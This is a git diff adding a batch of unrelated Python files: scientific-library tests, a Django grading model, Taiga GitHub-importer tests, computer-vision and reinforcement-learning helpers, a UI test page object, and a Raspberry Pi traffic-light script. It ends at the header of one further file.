0000000000000000000000000000000000000000..0933b76acbd5157958c9d54dcb523c4726e0dd47 --- /dev/null +++ b/pool/shard008/Python/0075265_test_bayesian_blocks.py @@ -0,0 +1,146 @@ +# Licensed under a 3-clause BSD style license - see LICENSE.rst + +from __future__ import (absolute_import, division, print_function, + unicode_literals) +import numpy as np +from numpy.testing import assert_allclose +from ...tests.helper import pytest +from .. import bayesian_blocks, RegularEvents + + +def test_single_change_point(rseed=0): + rng = np.random.RandomState(rseed) + x = np.concatenate([rng.rand(100), + 1 + rng.rand(200)]) + + bins = bayesian_blocks(x) + + assert (len(bins) == 3) + assert_allclose(bins[1], 1, rtol=0.02) + + +def test_duplicate_events(rseed=0): + rng = np.random.RandomState(rseed) + t = rng.rand(100) + t[80:] = t[:20] + + x = np.ones_like(t) + x[:20] += 1 + + bins1 = bayesian_blocks(t) + bins2 = bayesian_blocks(t[:80], x[:80]) + + assert_allclose(bins1, bins2) + + +def test_measures_fitness_homoscedastic(rseed=0): + rng = np.random.RandomState(rseed) + t = np.linspace(0, 1, 11) + x = np.exp(-0.5 * (t - 0.5) ** 2 / 0.01 ** 2) + sigma = 0.05 + x = x + sigma * rng.randn(len(x)) + + bins = bayesian_blocks(t, x, sigma, fitness='measures') + + assert_allclose(bins, [0, 0.45, 0.55, 1]) + + +def test_measures_fitness_heteroscedastic(): + rng = np.random.RandomState(1) + t = np.linspace(0, 1, 11) + x = np.exp(-0.5 * (t - 0.5) ** 2 / 0.01 ** 2) + sigma = 0.02 + 0.02 * rng.rand(len(x)) + x = x + sigma * rng.randn(len(x)) + + bins = bayesian_blocks(t, x, sigma, fitness='measures') + + assert_allclose(bins, [0, 0.45, 0.55, 1]) + + +def test_regular_events(): + rng = np.random.RandomState(0) + dt = 0.01 + steps = np.concatenate([np.unique(rng.randint(0, 500, 100)), + np.unique(rng.randint(500, 1000, 200))]) + t = dt * steps + + # string fitness + bins1 = bayesian_blocks(t, fitness='regular_events', dt=dt) + assert (len(bins1) == 3) + assert_allclose(bins1[1], 5, rtol=0.05) + + # class name fitness + bins2 = bayesian_blocks(t, fitness=RegularEvents, dt=dt) + assert_allclose(bins1, bins2) + + # class instance fitness + bins3 = bayesian_blocks(t, fitness=RegularEvents(dt=dt)) + assert_allclose(bins1, bins3) + + +def test_errors(): + rng = np.random.RandomState(0) + t = rng.rand(100) + + # x must be integer or None for events + with pytest.raises(ValueError): + bayesian_blocks(t, fitness='events', x=t) + + # x must be binary for regular events + with pytest.raises(ValueError): + bayesian_blocks(t, fitness='regular_events', x=10 * t, dt=1) + + # x must be specified for measures + with pytest.raises(ValueError): + bayesian_blocks(t, fitness='measures') + + # sigma cannot be specified without x + with pytest.raises(ValueError): + bayesian_blocks(t, fitness='events', sigma=0.5) + + # length of x must match length of t + with pytest.raises(ValueError): + bayesian_blocks(t, fitness='measures', x=t[:-1]) + + # repeated values in t fail when x is specified + t2 = t.copy() + t2[1] = t2[0] + with pytest.raises(ValueError): + bayesian_blocks(t2, fitness='measures', x=t) + + # sigma must be broadcastable with x + with pytest.raises(ValueError): + bayesian_blocks(t, fitness='measures', x=t, sigma=t[:-1]) + + +def test_fitness_function_results(): + """Test results for several fitness functions""" + rng = np.random.RandomState(42) + + # Event Data + t = rng.randn(100) + edges = bayesian_blocks(t, fitness='events') + assert_allclose(edges, [-2.6197451, -0.71094865, 0.36866702, 1.85227818]) + + # Event data with repeats + t[80:] = t[:20] + edges = bayesian_blocks(t, fitness='events', p0=0.01) + assert_allclose(edges, [-2.6197451, -0.47432431, -0.46202823, 1.85227818]) + + # Regular event data + dt = 0.01 + t = dt * np.arange(1000) + x = np.zeros(len(t)) + N = len(t) // 10 + x[rng.randint(0, len(t), N)] = 1 + x[rng.randint(0, len(t) // 2, N)] = 1 + edges = bayesian_blocks(t, x, fitness='regular_events', dt=dt) + assert_allclose(edges, [0, 5.105, 9.99]) + + # Measured point data with errors + t = 100 * rng.rand(20) + x = np.exp(-0.5 * (t - 50) ** 2) + sigma = 0.1 + x_obs = x + sigma * rng.randn(len(x)) + edges = bayesian_blocks(t, x_obs, sigma, fitness='measures') + assert_allclose(edges, [4.360377, 48.456895, 52.597917, 99.455051]) diff --git a/pool/shard008/Python/0075266_basic_starts_with_op.py b/pool/shard008/Python/0075266_basic_starts_with_op.py new file mode 100644 index 0000000000000000000000000000000000000000..d6b34df279b493011430ea8ef93b0945155e4e6d --- /dev/null +++ b/pool/shard008/Python/0075266_basic_starts_with_op.py @@ -0,0 +1,36 @@ +# encoding: utf-8 +# +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this file, +# You can obtain one at http:# mozilla.org/MPL/2.0/. +# +# Contact: Kyle Lahnakoski (kyle@lahnakoski.com) +# +from __future__ import absolute_import, division, unicode_literals + +from jx_base.expressions import BasicStartsWithOp as BasicStartsWithOp_, FALSE +from jx_elasticsearch.es52.painless.false_op import false_script +from jx_elasticsearch.es52.painless._utils import ( + Painless, + empty_string_script, +) +from jx_elasticsearch.es52.painless.es_script import EsScript +from jx_elasticsearch.es52.painless.first_op import FirstOp +from mo_json import BOOLEAN + + +class BasicStartsWithOp(BasicStartsWithOp_): + def to_es_script(self, schema, not_null=False, boolean=False, many=True): + expr = Painless[FirstOp(self.value)].partial_eval().to_es_script(schema) + if expr is empty_string_script: + return false_script + + prefix = Painless[self.prefix].to_es_script(schema).partial_eval() + return EsScript( + miss=FALSE, + type=BOOLEAN, + expr="(" + expr.expr + ").startsWith(" + prefix.expr + ")", + frum=self, + schema=schema, + ) diff --git a/pool/shard008/Python/0075269_exercisecollection_models.py b/pool/shard008/Python/0075269_exercisecollection_models.py new file mode 100644 index 0000000000000000000000000000000000000000..dbdeea94f8b349ce9aa34daaa3677b14ab345715 --- /dev/null +++ b/pool/shard008/Python/0075269_exercisecollection_models.py @@ -0,0 +1,220 @@ +from django.utils import timezone +from django.db import models +from django.dispatch import receiver +from django.db.models.signals import post_save +from django.urls import reverse +from django.utils.translation import gettext_lazy as _ + +from django.core.exceptions import ValidationError + +from exercise.exercise_summary import UserExerciseSummary +from .exercise_models import BaseExercise, LearningObject +from .submission_models import Submission +from userprofile.models import UserProfile +from course.models import CourseInstance, CourseModule, LearningObjectCategory + + + + +class ExerciseCollection(BaseExercise): + # Submissions must persist even if the target course or category + # gets destroyed. + target_category = models.ForeignKey( + LearningObjectCategory, + verbose_name=_('LABEL_TARGET_CATEGORY'), + on_delete=models.SET_NULL, + null=True, + blank=True, + ) + + class Meta: + verbose_name = _('MODEL_NAME_EXERCISE_COLLECTION') + verbose_name_plural = _('MODEL_NAME_EXERCISE_COLLECTION_PLURAL') + + + # Clearing possible sources for erronous functionality + def clean(self): + super().clean() + errors = {} + if self.target_category.id == self.category.id: + errors['target_category'] = 'Cannot set own category as target category.' + + if self.max_submissions != 1: + errors['max_submissions'] = 'Exercise Collection can have only 1 submission.' + if self.max_group_size != 1: + errors['max_group_size'] = 'Exercise Collection can have only 1 submitter' + if self.min_group_size != 1: + errors['min_group_size'] = 'Exercise Collection can have only 1 submitter' + + if errors: + raise ValidationError(errors) + + # Allows viewing of submissions + # Not actually user submittable + @property + def is_submittable(self): + return True + + + # Calculates the sum of best submissions in target category + # + # returns None: + # * Timing doesn't allow submissions + # * Target category doesn't have exercises with points + # + def get_points(self, user, no_scaling=False): + total_points = 0 + tc_max_points = self.target_category_maxpoints + max_points = self.max_points + + if tc_max_points == 0: + return None + + + timing, d1 = self.get_timing([user.userprofile],timezone.now()) + + if (timing == self.TIMING.CLOSED_AFTER or + timing == self.TIMING.ARCHIVED or + timing == self.TIMING.CLOSED_BEFORE or + timing == self.TIMING.UNOFFICIAL): + return None + + for exercise in self.exercises: + summary = UserExerciseSummary(exercise, user) + if summary.best_submission is not None: + total_points += summary.best_submission.grade + + + if timing == self.TIMING.LATE: + total_points = round(total_points * (1 - self.course_module.late_submission_penalty)) + + if tc_max_points == max_points or no_scaling: + return total_points + + total_points = total_points / (tc_max_points / max_points) + + return total_points + + + # Used when staff forces regrading + def grade(self, request, submission): + self.check_submission(request.user, forced=True) + + + # Updates submission for ExerciseCollection + # Updated submission is saved only if grade has changed + # Parameters: + # * no_update: Doesn't update grade if submission exists + # * forced: Updates submission even if grade hasn't changed + # + def check_submission(self, user, no_update=False, forced=False): + + if no_update and self.is_submitted(user) and not forced: + return + + # Create new submission or use previous + if not self.is_submitted(user): + current_submission = Submission.objects.create( + exercise=self, + feedback="", + grade=-1, + ) + current_submission.clean() + current_submission.save() + else: + submissions = self.get_submissions_for_student(user.userprofile) + current_submission = submissions[0] + + + new_grade = self.get_points(user) + + if new_grade == current_submission.grade and not forced: + return + + + grading_data, feedback = self._generate_grading_data(user.userprofile) + + + current_submission.grade = new_grade + current_submission.submission_time = timezone.now() + current_submission.status = Submission.STATUS.READY + current_submission.submitters.set([user.userprofile]) + current_submission.grading_data = grading_data + current_submission.feedback = feedback + current_submission.clean() + current_submission.save() + + + + # Check if user has a submission for this exercise + def is_submitted(self, user): + return self.get_submissions_for_student(user.userprofile).count() > 0 + + + # Property to access max_points in target category + @property + def target_category_maxpoints(self): + max_points = 0 + + for exercise in self.exercises: + max_points += exercise.max_points + + return max_points + + + # Property to access exercises in target category + @property + def exercises(self): + return BaseExercise.objects.filter( + category=self.target_category + ).order_by('id') + + # There are always submissions left from system's point of view + def one_has_submissions(self, students): + return True + + # Generates feedback and grading_data + # Feedback is in HTML format + # grading_data is currently blank + def _generate_grading_data(self, profile): + feedback = "" + grading_data = "" + + exercise_counter = 1 + for exercise in self.exercises: + + submission = UserExerciseSummary(exercise, profile.user).best_submission + if submission is None: + grade = 0 + else: + grade = submission.grade + + feedback += "Exercise {}: {}/{}\n Course: {} - {}\n Exercise: {}\n".format( + exercise_counter, + grade, + exercise.max_points, + exercise.category.course_instance.course.name, + exercise.category.course_instance.instance_name, + exercise.name, + ) + exercise_counter += 1 + + feedback = "
\n" + feedback + "\n
\n" + return {"grading_data": grading_data}, feedback + + + +# Updates submissions if new submission is in any ExerciseCollection's target category. +# ! Probably needs Cache-optimization +@receiver(post_save, sender=Submission) +def update_exercise_collection_submission(sender, instance, **kwargs): + collections = ExerciseCollection.objects.filter(target_category=instance.exercise.category) + if not collections: + return + + profile = instance.submitters.first() + if not profile: + return + + for collection in collections: + collection.check_submission(profile.user) diff --git a/pool/shard008/Python/0075273_test_importers_github_api.py b/pool/shard008/Python/0075273_test_importers_github_api.py new file mode 100644 index 0000000000000000000000000000000000000000..f950ccb84c258a8a1656ef0da2fa5d89ea72ca47 --- /dev/null +++ b/pool/shard008/Python/0075273_test_importers_github_api.py @@ -0,0 +1,234 @@ +# -*- coding: utf-8 -*- +# Copyright (C) 2014-present Taiga Agile LLC +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU Affero General Public License as +# published by the Free Software Foundation, either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU Affero General Public License for more details. +# +# You should have received a copy of the GNU Affero General Public License +# along with this program. If not, see . + +import pytest +import json + +from unittest import mock + +from django.urls import reverse + +from .. import factories as f +from taiga.importers import exceptions +from taiga.base.utils import json +from taiga.base import exceptions as exc + + +pytestmark = pytest.mark.django_db + + +def test_auth_url(client): + user = f.UserFactory.create() + client.login(user) + + url = reverse("importers-github-auth-url")+"?uri=http://localhost:9001/project/new?from=github" + + response = client.get(url, content_type="application/json") + + assert response.status_code == 200 + assert 'url' in response.data + assert response.data['url'] == "https://github.com/login/oauth/authorize?client_id=&scope=user,repo&redirect_uri=http://localhost:9001/project/new?from=github" + +def test_authorize(client, settings): + user = f.UserFactory.create() + client.login(user) + + authorize_url = reverse("importers-github-authorize") + + with mock.patch('taiga.importers.github.api.GithubImporter') as GithubImporterMock: + GithubImporterMock.get_access_token.return_value = "token" + response = client.post(authorize_url, content_type="application/json", data=json.dumps({"code": "code"})) + assert GithubImporterMock.get_access_token.calledWith( + settings.IMPORTERS['github']['client_id'], + settings.IMPORTERS['github']['client_secret'], + "code" + ) + + assert response.status_code == 200 + assert 'token' in response.data + assert response.data['token'] == "token" + +def test_authorize_without_code(client): + user = f.UserFactory.create() + client.login(user) + + authorize_url = reverse("importers-github-authorize") + + response = client.post(authorize_url, content_type="application/json", data=json.dumps({})) + + assert response.status_code == 400 + assert 'token' not in response.data + assert '_error_message' in response.data + assert response.data['_error_message'] == "Code param needed" + + +def test_authorize_with_bad_verify(client, settings): + user = f.UserFactory.create() + client.login(user) + + authorize_url = reverse("importers-github-authorize") + + with mock.patch('taiga.importers.github.api.GithubImporter') as GithubImporterMock: + GithubImporterMock.get_access_token.side_effect = exceptions.InvalidAuthResult() + response = client.post(authorize_url, content_type="application/json", data=json.dumps({"code": "bad"})) + assert GithubImporterMock.get_access_token.calledWith( + settings.IMPORTERS['github']['client_id'], + settings.IMPORTERS['github']['client_secret'], + "bad" + ) + + assert response.status_code == 400 + assert 'token' not in response.data + assert '_error_message' in response.data + assert response.data['_error_message'] == "Invalid auth data" + + +def test_import_github_list_users(client): + user = f.UserFactory.create() + client.login(user) + + url = reverse("importers-github-list-users") + + with mock.patch('taiga.importers.github.api.GithubImporter') as GithubImporterMock: + instance = mock.Mock() + instance.list_users.return_value = [ + {"id": 1, "username": "user1", "full_name": "user1", "detected_user": None}, + {"id": 2, "username": "user2", "full_name": "user2", "detected_user": None} + ] + GithubImporterMock.return_value = instance + response = client.post(url, content_type="application/json", data=json.dumps({"token": "token", "project": 1})) + + assert response.status_code == 200 + assert response.data[0]["id"] == 1 + assert response.data[1]["id"] == 2 + + +def test_import_github_list_users_without_project(client): + user = f.UserFactory.create() + client.login(user) + + url = reverse("importers-github-list-users") + + with mock.patch('taiga.importers.github.api.GithubImporter') as GithubImporterMock: + instance = mock.Mock() + instance.list_users.return_value = [ + {"id": 1, "username": "user1", "full_name": "user1", "detected_user": None}, + {"id": 2, "username": "user2", "full_name": "user2", "detected_user": None} + ] + GithubImporterMock.return_value = instance + response = client.post(url, content_type="application/json", data=json.dumps({"token": "token"})) + + assert response.status_code == 400 + + +def test_import_github_list_users_with_problem_on_request(client): + user = f.UserFactory.create() + client.login(user) + + url = reverse("importers-github-list-users") + + with mock.patch('taiga.importers.github.importer.GithubClient') as GithubClientMock: + instance = mock.Mock() + instance.get.side_effect = exc.WrongArguments("Invalid Request") + GithubClientMock.return_value = instance + response = client.post(url, content_type="application/json", data=json.dumps({"token": "token", "project": 1})) + + assert response.status_code == 400 + + +def test_import_github_list_projects(client): + user = f.UserFactory.create() + client.login(user) + + url = reverse("importers-github-list-projects") + + with mock.patch('taiga.importers.github.api.GithubImporter') as GithubImporterMock: + instance = mock.Mock() + instance.list_projects.return_value = ["project1", "project2"] + GithubImporterMock.return_value = instance + response = client.post(url, content_type="application/json", data=json.dumps({"token": "token"})) + + assert response.status_code == 200 + assert response.data[0] == "project1" + assert response.data[1] == "project2" + + +def test_import_github_list_projects_with_problem_on_request(client): + user = f.UserFactory.create() + client.login(user) + + url = reverse("importers-github-list-projects") + + with mock.patch('taiga.importers.github.importer.GithubClient') as GithubClientMock: + instance = mock.Mock() + instance.get.side_effect = exc.WrongArguments("Invalid Request") + GithubClientMock.return_value = instance + response = client.post(url, content_type="application/json", data=json.dumps({"token": "token"})) + + assert response.status_code == 400 + + +def test_import_github_project_without_project_id(client, settings): + settings.CELERY_ENABLED = True + + user = f.UserFactory.create() + client.login(user) + + url = reverse("importers-github-import-project") + + with mock.patch('taiga.importers.github.tasks.GithubImporter') as GithubImporterMock: + response = client.post(url, content_type="application/json", data=json.dumps({"token": "token"})) + + assert response.status_code == 400 + settings.CELERY_ENABLED = False + + +def test_import_github_project_with_celery_enabled(client, settings): + settings.CELERY_ENABLED = True + + user = f.UserFactory.create() + project = f.ProjectFactory.create(slug="async-imported-project") + client.login(user) + + url = reverse("importers-github-import-project") + + with mock.patch('taiga.importers.github.tasks.GithubImporter') as GithubImporterMock: + instance = mock.Mock() + instance.import_project.return_value = project + GithubImporterMock.return_value = instance + response = client.post(url, content_type="application/json", data=json.dumps({"token": "token", "project": 1})) + + assert response.status_code == 202 + assert "task_id" in response.data + settings.CELERY_ENABLED = False + + +def test_import_github_project_with_celery_disabled(client, settings): + user = f.UserFactory.create() + project = f.ProjectFactory.create(slug="imported-project") + client.login(user) + + url = reverse("importers-github-import-project") + + with mock.patch('taiga.importers.github.api.GithubImporter') as GithubImporterMock: + instance = mock.Mock() + instance.import_project.return_value = project + GithubImporterMock.return_value = instance + response = client.post(url, content_type="application/json", data=json.dumps({"token": "token", "project": 1})) + + assert response.status_code == 200 + assert "slug" in response.data + assert response.data['slug'] == "imported-project" diff --git a/pool/shard008/Python/0075274_learned_ddpg.py b/pool/shard008/Python/0075274_learned_ddpg.py new file mode 100644 index 0000000000000000000000000000000000000000..3ebd72c18711c0ce09811d64a4ac2d7007833110 --- /dev/null +++ b/pool/shard008/Python/0075274_learned_ddpg.py @@ -0,0 +1,66 @@ +import json +import os + +from models.abstract_model import AbstractModel +from reinforcement.ddpg.ddpg_reinforcement import DDPGReinforcement +from reinforcement.reinforcement_parameters import DDPGParameters + + +class LearnedDDPG(AbstractModel): + """ + Represents a learned DDPG model. This is only an interface wrapper. Uses tensorflow internally. + """ + + def __init__(self, logdir): + """ + Initializes tensorflow DDPG model, using specified directory. + :param logdir: Directory to tensorflow checkpoint. + """ + self.metadata = None + for file in os.listdir(logdir): + if file.endswith(".json"): + with open(os.path.join(logdir, file), "r") as f: + self.metadata = json.load(f) + break + + self.game = self.metadata["game"] + self.parameters = DDPGParameters.from_dict(self.metadata["parameters"]) + self.ddpg = DDPGReinforcement(self.game, self.parameters) + + # You can select "best" saved model, or "last" saved model + self.ddpg.load_checkpoint(os.path.join(logdir, "last")) + + def get_new_instance(self, weights, game_config): + raise NotImplementedError + + def evaluate(self, input, current_phase): + """ + Evaluates the model result, using the specified input and current game phase. + :param input: Input for the model. + :param current_phase: Current game phase. + :return: Action. + """ + action = self.ddpg.agent.play(input) + + + if len(self.ddpg.actions_count) > 1: + # Games with multiple phases + begin = sum(self.ddpg.actions_count[:current_phase]) + end = begin + self.ddpg.actions_count[current_phase] + action = action[begin:end] + + return action + + def get_name(self): + """ + Returns a string representation of the current model. + :return: a string representation of hte current model. + """ + return "Learned DDPG Agent (Reinforcement Learning)" + + def get_class_name(self): + """ + Returns a class name of the current model. + :return: a class name of the current model. + """ + return "LearnedDDPG" diff --git a/pool/shard008/Python/0075275_LabelLineCurveFeature_v4.py b/pool/shard008/Python/0075275_LabelLineCurveFeature_v4.py new file mode 100644 index 0000000000000000000000000000000000000000..a6af7c233ccbdda2f1a8501f9a16cd7f98fc4188 --- /dev/null +++ b/pool/shard008/Python/0075275_LabelLineCurveFeature_v4.py @@ -0,0 +1,131 @@ +import cv2 +import numpy as np +import util as util + + +def roipoly(src, poly): + mask = np.zeros_like(src, dtype=np.uint8) + + # overlay = util.normalize_depth(src, colormap=True) + # output = util.normalize_depth(src, colormap=True) + # alpha = 0.5 + + win = util.swap_indices(poly) + # print(win) + + cv2.fillConvexPoly(mask, win, 255) # Create the ROI + + # cv2.fillConvexPoly(overlay, win, (255, 255, 255)) + # cv2.putText(overlay, "ROI Poly: alpha={}".format(alpha), (10, 30), + # cv2.FONT_HERSHEY_SIMPLEX, 1.0, (0, 0, 255), 3) + # + # cv2.addWeighted(overlay, alpha, output, 1 - alpha, + # 0, output) + res = src * mask + + # print('mask1 count', np.count_nonzero(mask)) + # cv2.namedWindow('roi poly', cv2.WINDOW_NORMAL) + # cv2.imshow('roi poly', output) + # cv2.waitKey(0) + # cv2.destroyAllWindows() + return res + + + +def get_orientation(line, window_size): + dy = abs(line[0] - line[2]) + dx = abs(line[1] - line[3]) + # Vertical or horizontal line test + if dy > dx or dy == dx: + pt1 = [line[0], line[1] - window_size] + pt2 = [line[0], line[1] + window_size] + pt3 = [line[2], line[3] - window_size] + pt4 = [line[2], line[3] + window_size] + return pt1, pt2, pt3, pt4 + else: + pt1 = [line[0] - window_size, line[1]] + pt2 = [line[0] + window_size, line[1]] + pt3 = [line[2] - window_size, line[3]] + pt4 = [line[2] + window_size, line[3]] + return pt1, pt2, pt3, pt4 + + +def get_ordering(pt1, pt2, pt3, pt4): + temp1 = np.linalg.norm(np.subtract((np.add(pt1, pt3) / 2.0), (np.add(pt2, pt4) / 2.0))) + temp2 = np.linalg.norm(np.subtract((np.add(pt1, pt4) / 2.0), (np.add(pt2, pt3) / 2.0))) + res = np.array([pt1, pt3, pt4, pt2]) if temp1 > temp2 else np.array([pt1, pt4, pt3, pt2]) + return [[int(i) for i in pt] for pt in res] + + +def classify_curves(src, curve_im, depth_im, list_lines, list_points, window_size): + im_size = src.shape + height = src.shape[0] + width = src.shape[1] + blank_image = np.zeros((height, width, 3), np.uint8) + img = util.normalize_depth(src, colormap=True) + + res = [] + for index, line in enumerate(list_lines): + # creates the bounds of the window + pt1, pt2, pt3, pt4 = get_orientation(line, window_size) + + # For convenience, to see where the window is + cv2.line(img, (int(pt1[1]), int(pt1[0])), (int(pt2[1]), int(pt2[0])), (0, 0, 255), 1) + cv2.line(img, (int(pt3[1]), int(pt3[0])), (int(pt4[1]), int(pt4[0])), (0, 0, 255), 1) + cv2.line(img, (int(line[1]), int(line[0])), (int(line[3]), int(line[2])), (0, 255, 0), 1) + + # creates a mask of the window + # on the curve and depth image + win = np.array(get_ordering(pt1, pt2, pt3, pt4)) + maskC = roipoly(curve_im, win) + + maskD = roipoly(depth_im, win) + + # For comparison, get the contour + # points of this line + lx = [list_points[index]] + cntr_pts = [] + for ii in lx: + r1, c1 = np.unravel_index([ii], im_size, order='F') + cntr_pts.append([c1[0], r1[0]]) + + + + """ + mask5 = [] + for i in temp_list: + # print(i[1], i[0]) + mask5.append(src[i[1], i[0]]) + mask5 = np.array(mask5) + # print('mask5', mask5) + # Eliminate zeros + mask5 = mask5[np.nonzero(mask5)] + + # Average values in the mask + mask4_size = cv2.countNonZero(mask4) + a1 = 0 if cv2.countNonZero(mask4) == 0 else sum(src[np.nonzero(mask4)]) / mask4_size + + # print('mask5', np.mean(mask5)) + mask5_size = mask5.shape[0] + a2 = 0 if cv2.countNonZero(mask5) == 0 else np.mean(mask5) + + # print('A1', a1, '\nA2', a2, '\n') + + b1 = mask4_size * a1 - mask5_size * a2 + try: + b11 = float(b1) / (cv2.countNonZero(mask4) - len(mask5)) + except ZeroDivisionError: + b11 = float('nan') + + # print('B11', b11) + if b11 < a2: + res.append(np.append(list_lines[index], [12])) + else: + res.append(np.append(list_lines[index], [13])) + + #cv2.imshow('Points', img) + #cv2.waitKey(0) + #cv2.destroyAllWindows() + + return np.asarray(res) + """ diff --git a/pool/shard008/Python/0075279_clustering_script.py b/pool/shard008/Python/0075279_clustering_script.py new file mode 100644 index 0000000000000000000000000000000000000000..3698237f98a515fd3d1330bf091baf499145c084 --- /dev/null +++ b/pool/shard008/Python/0075279_clustering_script.py @@ -0,0 +1,28 @@ +import os + +from cosine_similarity import computeScores1 +from edit_value_similarity import computeScores2 +from indexer import index_from_json + +index = "polar_geo" +output_file = "result_geo.csv" +computeScores1("geo", {"index": index}, output_file) + +index = "polar" +output_file = "result_measurement.csv" +computeScores2("measurement", {"index": index}, output_file, is_all_key=False) + +index = "polar_sweet" +output_file = "result_sweet.csv" +computeScores2("sweet", {"index": index}, output_file, is_all_key=False) + +index = "polar_scholar" +output_file = "result_scholar.csv" +computeScores2("sweet", {"index": index}, output_file, is_all_key=False) + +os.system("python edit-cosine-circle-packing.py result_measurement.csv circle_ms.json") +os.system("python edit-cosine-circle-packing.py result_geo.csv circle_geo.json") + +os.system("python edit-cosine-circle-packing.py result_sweet.csv cirlce_sweet.json") +os.system("python edit-cosine-circle-packing.py result_scholar.csv circle_scholar.json") + diff --git a/pool/shard008/Python/0075282_repository.py b/pool/shard008/Python/0075282_repository.py new file mode 100644 index 0000000000000000000000000000000000000000..09385326bd1a047ea9bdc9aa35d2a54b2affe5fa --- /dev/null +++ b/pool/shard008/Python/0075282_repository.py @@ -0,0 +1,146 @@ +"""Implements Repos UI.""" +from robottelo.constants import CHECKSUM_TYPE, REPO_TYPE +from robottelo.ui.base import Base, UIError +from robottelo.ui.locators import common_locators, locators, tab_locators + + +class Repos(Base): + """Manipulates Repos from UI.""" + is_katello = True + + def navigate_to_entity(self): + """Navigate to Repository entity tab""" + self.click(tab_locators['prd.tab_repos']) + + def _search_locator(self): + """Specify locator for Repository entity search procedure""" + return locators['repo.select'] + + def create(self, name, gpg_key=None, http=False, url=None, + upstream_repo_name=None, repo_type=REPO_TYPE['yum'], + repo_checksum=CHECKSUM_TYPE['default']): + """Creates new repository from UI.""" + self.click(locators['repo.new']) + self.text_field_update(common_locators['name'], name) + # label takes long time for 256 char test, hence timeout of 60 sec + self.wait_for_ajax(timeout=60) + if repo_type: + self.select(locators['repo.type'], repo_type) + repo_checksum_element = self.find_element(locators['repo.checksum']) + if repo_checksum_element: + self.select(locators['repo.checksum'], repo_checksum) + if gpg_key: + self.select(common_locators['gpg_key'], gpg_key) + if url: + self.text_field_update(locators['repo.url'], url) + if upstream_repo_name: + self.text_field_update( + locators['repo.upstream_name'], upstream_repo_name) + if http: + self.click(locators['repo.via_http']) + self.click(common_locators['create']) + + def update(self, name, new_name=None, new_url=None, new_repo_checksum=None, + new_gpg_key=None, http=False, new_upstream_name=None): + """Updates repositories from UI.""" + repo_element = self.search(name) + if repo_element is None: + raise UIError( + u'Unable to find the repository "{0}" for update.'.format(name) + ) + repo_element.click() + self.wait_for_ajax() + if new_name: + self.click(locators['repo.name_edit']) + self.text_field_update(locators['repo.name_update'], new_name) + self.click(common_locators['save']) + if new_url: + self.click(locators['repo.url_edit']) + self.text_field_update(locators['repo.url_update'], new_url) + self.click(common_locators['save']) + if new_repo_checksum: + self.click(locators['repo.checksum_edit']) + self.select(locators['repo.checksum_update'], new_repo_checksum) + self.click(common_locators['save']) + if new_gpg_key: + self.click(locators['repo.gpg_key_edit']) + self.select(locators['repo.gpg_key_update'], new_gpg_key) + self.click(common_locators['save']) + if http: + self.click(locators['repo.via_http_edit']) + self.click(locators['repo.via_http_update']) + self.click(common_locators['save']) + if new_upstream_name: + self.click(locators['repo.upstream_edit']) + self.text_field_update( + locators['repo.upstream_update'], new_upstream_name) + self.click(common_locators['save']) + + def delete(self, name, really=True): + """Delete a repository from UI.""" + self.delete_entity( + name, + really, + locators['repo.remove'], + ) + + def search(self, element_name): + """Uses the search box to locate an element from a list of elements. + Repository entity is located inside of Product entity and has another + appearance, so it is necessary to use custom search there. + + """ + self.navigate_to_entity() + strategy, value = self._search_locator() + searchbox = self.wait_until_element(locators['repo.search']) + if searchbox: + searchbox.clear() + searchbox.send_keys(element_name) + element = self.wait_until_element((strategy, value % element_name)) + return element + + def discover_repo(self, url_to_discover, discovered_urls, + product, new_product=False, gpg_key=None): + """Discovers all repos from the given URL and creates selected repos. + Here if new_product=True; then it creates New Product instead of adding + repos under existing product. + + """ + self.click(locators['repo.repo_discover']) + self.text_field_update(locators['repo.discover_url'], url_to_discover) + self.click(locators['repo.discover_button']) + discover_cancel = self.wait_until_element( + locators['repo.cancel_discover']) + while discover_cancel: + discover_cancel = self.wait_until_element( + locators['repo.cancel_discover']) + for url in discovered_urls: + strategy, value = locators['repo.discovered_url_checkbox'] + self.click((strategy, value % url)) + self.click(locators['repo.create_selected']) + if new_product: + self.click(locators['repo.new_product']) + self.text_field_update(locators['repo.new_product_name'], product) + if gpg_key: + self.select(locators['repo.gpgkey_in_discover'], gpg_key) + else: + self.click(locators['repo.existing_product']) + self.select(locators['repo.select_exist_product'], product) + self.click(locators['repo.create']) + + def validate_field(self, name, field_name, expected_field_value): + """Check that repository field has expected value""" + repo_element = self.search(name) + if repo_element is None: + raise UIError( + u'Unable to find the repo "{0}" for validation.'.format(name) + ) + repo_element.click() + self.wait_for_ajax() + if field_name in [ + 'checksum', 'errata', 'gpgkey', 'package_groups', 'packages', + 'upstream', 'url', + ]: + return (self.wait_until_element(locators[ + 'repo.fetch_' + field_name]).text == expected_field_value) + return False diff --git a/pool/shard008/Python/0075283_module4.py b/pool/shard008/Python/0075283_module4.py new file mode 100644 index 0000000000000000000000000000000000000000..ab81c76f8a58debefcd933ca2f2a78138d925f00 --- /dev/null +++ b/pool/shard008/Python/0075283_module4.py @@ -0,0 +1,52 @@ +############################################## +# File Name: module4.py +# Version: 1.0 +# Team No.: 24 +# Team Name: +# Date: 4 Nov 15 +############################################## + +import RPi.GPIO as GPIO +import time + +print 'Press CTRL+C to exit the program' + +GPIO.setmode(GPIO.BOARD) + +GPIO.setup(11, GPIO.OUT) +GPIO.setup(13, GPIO.OUT) +GPIO.setup(15, GPIO.OUT) + +RUNNING = True + +try: + while RUNNING: + + print 'Turn on red light\n' + GPIO.output(11, True) + time.sleep(2) + GPIO.output(11, False) + + print 'Turn on orange light\n' + GPIO.output(13, True) + time.sleep(2) + GPIO.output(13, False) + + print 'Turn on green light\n' + GPIO.output(15, True) + time.sleep(2) + GPIO.output(15, False) + +# If CTRL+C is pressed the main loop is broken +except KeyboardInterrupt: + RUNNING = False + print "\nQuitting program." + +# Actions under 'finally' will always be called, regardless of +# what stopped the program (be it an error or an interrupt) +finally: + # Stop and cleanup to finish cleanly so the pins + # are available to be used again + GPIO.cleanup() + +print "\nProgram ended" diff --git a/pool/shard008/Python/0075289_game_loop_basic.py b/pool/shard008/Python/0075289_game_loop_basic.py new file mode 100644 index 0000000000000000000000000000000000000000..bae4c91f08a3fbcbdb506ce49df04cae2f45b166 --- /dev/null +++ 